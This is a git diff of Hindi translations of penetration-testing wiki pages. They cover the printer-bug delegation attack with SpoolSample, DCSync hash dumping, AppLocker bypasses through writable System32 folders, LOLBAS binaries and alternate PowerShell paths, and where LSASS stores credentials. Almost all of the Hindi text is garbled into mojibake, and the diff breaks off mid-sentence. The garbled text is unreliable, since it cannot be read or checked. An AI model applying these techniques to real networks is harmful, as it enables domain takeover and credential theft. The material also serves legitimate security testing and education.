рдХреЛ **рд╕рдордЭреМрддрд╛** рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рд╡рд╣ **Print server** рдХреЛ **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд▓реЙрдЧрд┐рди** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдзреЛрдЦрд╛** рджреЗ рд╕рдХрддрд╛ рд╣реИ **рдЬрд┐рд╕рд╕реЗ рдПрдХ TGT** рд╕рд░реНрд╡рд░ рдХреА рдореЗрдореЛрд░реА рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЬрд╛рдПрдЧрд╛ред\ +рдлрд┐рд░, рд╣рдорд▓рд╛рд╡рд░ **Print server рдХрдВрдкреНрдпреВрдЯрд░ рдЦрд╛рддреЗ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Pass the Ticket рд╣рдорд▓рд╛** рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдХрд┐рд╕реА рднреА рдорд╢реАрди рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рд┐рдВрдЯ рд╕рд░реНрд╡рд░ рдХреЛ рд▓реЙрдЧрд┐рди рдХрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк [**SpoolSample**](https://github.com/leechristensen/SpoolSample) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash .\SpoolSample.exe ``` -рдпрджрд┐ TGT рдПрдХ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рд╕реЗ рд╣реИ, рддреЛ рдЖрдк рдПрдХ [**DCSync attack**](acl-persistence-abuse/index.html#dcsync) рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ DC рд╕реЗ рд╕рднреА рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ +рдпрджрд┐ TGT рдПрдХ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рд╕реЗ рд╣реИ, рддреЛ рдЖрдк [**DCSync рд╣рдорд▓рд╛**](acl-persistence-abuse/index.html#dcsync) рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ DC рд╕реЗ рд╕рднреА рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ [**рдЗрд╕ рд╣рдорд▓реЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА ired.team рдкрд░ред**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation) -**рдпрд╣рд╛рдБ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдордЬрдмреВрд░ рдХрд░рдиреЗ рдХреЗ рдЕрдиреНрдп рддрд░реАрдХреЗ рд╣реИрдВ:** +рдпрд╣рд╛рдБ **рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдордЬрдмреВрд░ рдХрд░рдиреЗ** рдХреЗ рдЕрдиреНрдп рддрд░реАрдХреЗ рдЦреЛрдЬреЗрдВ: {{#ref}} printers-spooler-service-abuse.md diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs.md b/src/windows-hardening/authentication-credentials-uac-and-efs.md index 57f479e25..9821d6b11 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs.md @@ -6,13 +6,13 @@ рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдПрдХ рдЕрдиреБрдореЛрджрд┐рдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдпрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рд╕реВрдЪреА рд╣реИ рдЬреЛ рдПрдХ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдореМрдЬреВрдж рдФрд░ рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред рдЗрд╕рдХрд╛ рд▓рдХреНрд╖реНрдп рдкрд░реНрдпрд╛рд╡рд░рдг рдХреЛ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рдореИрд▓рд╡реЗрдпрд░ рдФрд░ рдЕрдкреНрд░реВрд╡реНрдб рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕реЗ рдмрдЪрд╛рдирд╛ рд╣реИ рдЬреЛ рдХрд┐рд╕реА рд╕рдВрдЧрдарди рдХреА рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡реНрдпрд╛рд╡рд╕рд╛рдпрд┐рдХ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛ред -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рдХрд╛ **рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯрд┐рдВрдЧ рд╕рдорд╛рдзрд╛рди** рд╣реИ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдХреЛ **рдпрд╣ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреМрди рд╕реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдФрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред рдпрд╣ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ, рд╕реНрдХреНрд░рд┐рдкреНрдЯ, рд╡рд┐рдВрдбреЛрдЬ рдЗрдВрд╕реНрдЯреЙрд▓рд░ рдлрд╝рд╛рдЗрд▓реЛрдВ, DLLs, рдкреИрдХреЗрдЬреНрдб рдРрдкреНрд╕, рдФрд░ рдкреИрдХреНрдб рдРрдк рдЗрдВрд╕реНрдЯреЙрд▓рд░ рдкрд░ **рд╕реВрдХреНрд╖реНрдо рдирд┐рдпрдВрддреНрд░рдг** рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред\ -рдпрд╣ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ рдХрд┐ рд╕рдВрдЧрдарди **cmd.exe рдФрд░ PowerShell.exe** рдФрд░ рдХреБрдЫ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреЛ **рдмреНрд▓реЙрдХ рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЗрд╕реЗ рд╕рднреА рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**ред +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рдХрд╛ **рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯрд┐рдВрдЧ рд╕рдорд╛рдзрд╛рди** рд╣реИ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдХреЛ **рдпрд╣ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреМрди рд╕реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдФрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред рдпрд╣ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ, рд╕реНрдХреНрд░рд┐рдкреНрдЯреЛрдВ, рд╡рд┐рдВрдбреЛрдЬ рдЗрдВрд╕реНрдЯреЙрд▓рд░ рдлрд╝рд╛рдЗрд▓реЛрдВ, DLLs, рдкреИрдХреЗрдЬреНрдб рдРрдкреНрд╕, рдФрд░ рдкреИрдХреНрдб рдРрдк рдЗрдВрд╕реНрдЯреЙрд▓рд░ рдкрд░ **рд╕реВрдХреНрд╖реНрдо рдирд┐рдпрдВрддреНрд░рдг** рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред\ +рдпрд╣ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ рдХрд┐ рд╕рдВрдЧрдарди **cmd.exe рдФрд░ PowerShell.exe** рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдХреБрдЫ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, **рд▓реЗрдХрд┐рди рдЗрд╕реЗ рд╕рднреА рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**ред ### Check -рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреМрди рд╕реА рдлрд╝рд╛рдЗрд▓реЗрдВ/рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯреЗрдб/рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯреЗрдб рд╣реИрдВ: -```powershell +Check which files/extensions are blacklisted/whitelisted: +```bash Get-ApplockerPolicy -Effective -xml Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections @@ -20,27 +20,27 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` -рдпрд╣ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрде AppLocker рджреНрд╡рд╛рд░рд╛ рд▓рд╛рдЧреВ рдХреА рдЧрдИ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдФрд░ рдиреАрддрд┐рдпреЛрдВ рдХреЛ рд╕рдорд╛рд╣рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд▓рд╛рдЧреВ рд╡рд░реНрддрдорд╛рди рдирд┐рдпрдореЛрдВ рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ: +рдпрд╣ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрде AppLocker рджреНрд╡рд╛рд░рд╛ рд▓рд╛рдЧреВ рдХреА рдЧрдИ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдФрд░ рдиреАрддрд┐рдпреЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд▓рд╛рдЧреВ рд╡рд░реНрддрдорд╛рди рдирд┐рдпрдореЛрдВ рдХреЗ рд╕реЗрдЯ рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ: - `HKLM\Software\Policies\Microsoft\Windows\SrpV2` ### рдмрд╛рдпрдкрд╛рд╕ -- AppLocker рдиреАрддрд┐ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА **рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдлрд╝реЛрд▓реНрдбрд░**: рдпрджрд┐ AppLocker `C:\Windows\System32` рдпрд╛ `C:\Windows` рдХреЗ рдЕрдВрджрд░ рдХреБрдЫ рднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд░рд╣рд╛ рд╣реИ, рддреЛ рдРрд╕реЗ **рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдлрд╝реЛрд▓реНрдбрд░** рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдЖрдк **рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- AppLocker рдиреАрддрд┐ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА **рд▓реЗрдЦрди рдпреЛрдЧреНрдп рдлрд╝реЛрд▓реНрдбрд░**: рдпрджрд┐ AppLocker `C:\Windows\System32` рдпрд╛ `C:\Windows` рдХреЗ рдЕрдВрджрд░ рдХреБрдЫ рднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд░рд╣рд╛ рд╣реИ, рддреЛ рдРрд╕реЗ **рд▓реЗрдЦрди рдпреЛрдЧреНрдп рдлрд╝реЛрд▓реНрдбрд░** рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдЖрдк **рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- рд╕рд╛рдорд╛рдиреНрдпрддрдГ **рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп** [**"LOLBAS's"**](https://lolbas-project.github.io/) рдмрд╛рдЗрдирд░реАрдЬрд╝ рднреА AppLocker рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреА рд╣реИрдВред +- рд╕рд╛рдорд╛рдиреНрдпрддрдГ **рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп** [**"LOLBAS's"**](https://lolbas-project.github.io/) рдмрд╛рдЗрдирд░реАрдЬрд╝ AppLocker рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреА рд╣реИрдВред - **рдЦрд░рд╛рдм рд▓рд┐рдЦреЗ рдЧрдП рдирд┐рдпрдореЛрдВ рдХреЛ рднреА рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ** - рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, **``**, рдЖрдк рдХрд╣реАрдВ рднреА рдПрдХ **рдлреЛрд▓реНрдбрд░ `allowed`** рдирд╛рдо рд╕реЗ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рдПрдЧреАред -- рд╕рдВрдЧрдарди рдЕрдХреНрд╕рд░ **`%System32%\WindowsPowerShell\v1.0\powershell.exe` рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп** рдХреЛ **рдмреНрд▓реЙрдХ рдХрд░рдиреЗ** рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди **рдЕрдиреНрдп** [**PowerShell рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рд╕реНрдерд╛рдиреЛрдВ**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) рдХреЛ рднреВрд▓ рдЬрд╛рддреЗ рд╣реИрдВ рдЬреИрд╕реЗ рдХрд┐ `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` рдпрд╛ `PowerShell_ISE.exe`ред +- рд╕рдВрдЧрдарди рдЕрдХреНрд╕рд░ **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЛ **рдмреНрд▓реЙрдХ рдХрд░рдиреЗ** рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди **рдЕрдиреНрдп** [**PowerShell рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рд╕реНрдерд╛рдиреЛрдВ**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) рдХреЛ рднреВрд▓ рдЬрд╛рддреЗ рд╣реИрдВ рдЬреИрд╕реЗ рдХрд┐ `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` рдпрд╛ `PowerShell_ISE.exe`ред - **DLL рдкреНрд░рд╡рд░реНрддрди рдмрд╣реБрдд рдХрдо рд╕рдХреНрд╖рдо** рд╣реЛрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рд▓реЛрдб рдбрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдкрд░реАрдХреНрд╖рдг рдХреА рдорд╛рддреНрд░рд╛ред рдЗрд╕рд▓рд┐рдП **DLLs рдХреЛ рдмреИрдХрдбреЛрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ AppLocker рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░реЗрдЧрд╛**ред -- рдЖрдк [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) рдпрд╛ [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **Powershell** рдХреЛрдб рдХреЛ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ AppLocker рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). +- рдЖрдк [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) рдпрд╛ [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **Powershell** рдХреЛрдб рдХреЛ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ AppLocker рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). -## рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╕реНрдЯреЛрд░реЗрдЬ +## рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рднрдВрдбрд╛рд░рдг ### рд╕реБрд░рдХреНрд╖рд╛ рдЦрд╛рддрд╛ рдкреНрд░рдмрдВрдзрдХ (SAM) @@ -50,7 +50,7 @@ C:\windows\tracing **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** (рд╣реИрд╢ рдХрд┐рдП рдЧрдП) рдЗрд╕ рдЙрдкрдкреНрд░рдгрд╛рд▓реА рдХреА **рдореЗрдореЛрд░реА** рдореЗрдВ **рд╕рд╣реЗрдЬреЗ** рдЬрд╛рддреЗ рд╣реИрдВ рдПрдХрд▓ рд╕рд╛рдЗрди-рдСрди рдХрд╛рд░рдгреЛрдВ рдХреЗ рд▓рд┐рдПред\ **LSA** рд╕реНрдерд╛рдиреАрдп **рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐** (рдкрд╛рд╕рд╡рд░реНрдб рдиреАрддрд┐, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрдорддрд┐рдпрд╛рдБ...), **рдкреНрд░рдорд╛рдгреАрдХрд░рдг**, **рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди**... рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рддрд╛ рд╣реИред\ -LSA рд╡рд╣ рд╣реЛрдЧрд╛ рдЬреЛ **SAM** рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА **рдЬрд╛рдВрдЪ** рдХрд░реЗрдЧрд╛ (рд╕реНрдерд╛рдиреАрдп рд▓реЙрдЧрд┐рди рдХреЗ рд▓рд┐рдП) рдФрд░ рдПрдХ рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ** рд╕реЗ **рдмрд╛рдд** рдХрд░реЗрдЧрд╛ред +LSA рд╡рд╣ рд╣реЛрдЧрд╛ рдЬреЛ **SAM** рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА **рдЬрд╛рдВрдЪ** рдХрд░реЗрдЧрд╛ (рд╕реНрдерд╛рдиреАрдп рд▓реЙрдЧрд┐рди рдХреЗ рд▓рд┐рдП) рдФрд░ рдПрдХ рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ** рд╕реЗ **рдмрд╛рдд рдХрд░реЗрдЧрд╛**ред **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** **рдкреНрд░рдХреНрд░рд┐рдпрд╛ LSASS** рдХреЗ рдЕрдВрджрд░ **рд╕рд╣реЗрдЬреЗ** рдЬрд╛рддреЗ рд╣реИрдВ: Kerberos рдЯрд┐рдХрдЯ, NT рдФрд░ LM рд╣реИрд╢, рдЖрд╕рд╛рдиреА рд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдП рдЧрдП рдкрд╛рд╕рд╡рд░реНрдбред @@ -103,19 +103,19 @@ sc query windefend ``` ## Encrypted File System (EFS) -EFS рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдПрдХ **рд╕рдорд╛рди рдХреБрдВрдЬреА** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЬрд┐рд╕реЗ **рдлрд╛рдЗрд▓ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА (FEK)** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдХреБрдВрдЬреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА **рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА** рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд╝рд╛рдЗрд▓ рдХреЗ $EFS **рд╡реИрдХрд▓реНрдкрд┐рдХ рдбреЗрдЯрд╛ рд╕реНрдЯреНрд░реАрдо** рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИред рдЬрдм рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдбрд┐рдЬрд┐рдЯрд▓ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА рд╕рдВрдмрдВрдзрд┐рдд **рдирд┐рдЬреА рдХреБрдВрдЬреА** рдХрд╛ рдЙрдкрдпреЛрдЧ FEK рдХреЛ $EFS рд╕реНрдЯреНрд░реАрдо рд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА [рдпрд╣рд╛рдВ](https://en.wikipedia.org/wiki/Encrypting_File_System) рдорд┐рд▓ рд╕рдХрддреА рд╣реИред +EFS рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдПрдХ **рд╕рдорд╛рдирд╛рдВрддрд░ рдХреБрдВрдЬреА** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЬрд┐рд╕реЗ **рдлрд╛рдЗрд▓ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА (FEK)** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдХреБрдВрдЬреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА **рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА** рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд╝рд╛рдЗрд▓ рдХреЗ $EFS **рд╡реИрдХрд▓реНрдкрд┐рдХ рдбреЗрдЯрд╛ рд╕реНрдЯреНрд░реАрдо** рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХреА рдЬрд╛рддреА рд╣реИред рдЬрдм рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдбрд┐рдЬрд┐рдЯрд▓ 